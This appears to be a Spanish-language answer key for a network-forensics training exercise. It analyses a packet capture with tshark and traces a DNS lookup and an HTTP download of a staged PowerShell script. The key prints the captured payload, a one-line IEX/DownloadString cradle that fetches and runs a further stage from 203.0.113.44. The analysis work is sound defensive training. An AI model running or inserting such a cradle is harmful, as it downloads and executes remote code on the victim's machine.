Solución — M11: Captura y análisis de tráfico

1-2. Resumen y DNS

$ tshark -r captura_caso11.pcapng -Y dns -T fields -e dns.qry.name -e dns.a
update-service.ddns-provider.net
update-service.ddns-provider.net	203.0.113.44

13 paquetes en total: una consulta/respuesta DNS, un handshake TCP de 3 vías, una petición y respuesta HTTP, y el cierre ordenado de la conexión (FIN/ACK por ambos lados). El dominio consultado, update-service.ddns-provider.net, resuelve a 203.0.113.44.

3. Follow TCP Stream

$ tshark -r captura_caso11.pcapng -z follow,tcp,ascii,0
GET /stage2.ps1 HTTP/1.1
Host: update-service.ddns-provider.net
User-Agent: Mozilla/5.0
Connection: close

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 81
Connection: close

IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.44/stage3.ps1')

Se solicita /stage2.ps1, y la respuesta es un script PowerShell de una sola línea.

4. El objeto exportado

$ tshark -r captura_caso11.pcapng --export-objects http,salida/
cat salida/stage2.ps1
IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.44/stage3.ps1')

El script descargado no hace nada por sí mismo más que descargar otra etapa (stage3.ps1) desde la misma IP y ejecutarla inmediatamente con IEX — una cadena de descarga y ejecución en memoria, sin que ningún fichero quede nunca guardado en disco.

5. Misma infraestructura

203.0.113.44 es exactamente la misma IP que ya apareció como origen del acceso RDP en el módulo 6 y como destino del beaconing en el volcado de memoria del módulo 9 — confirmación, desde una tercera fuente completamente independiente (tráfico de red capturado en el cable), de que se trata de la misma infraestructura del atacante.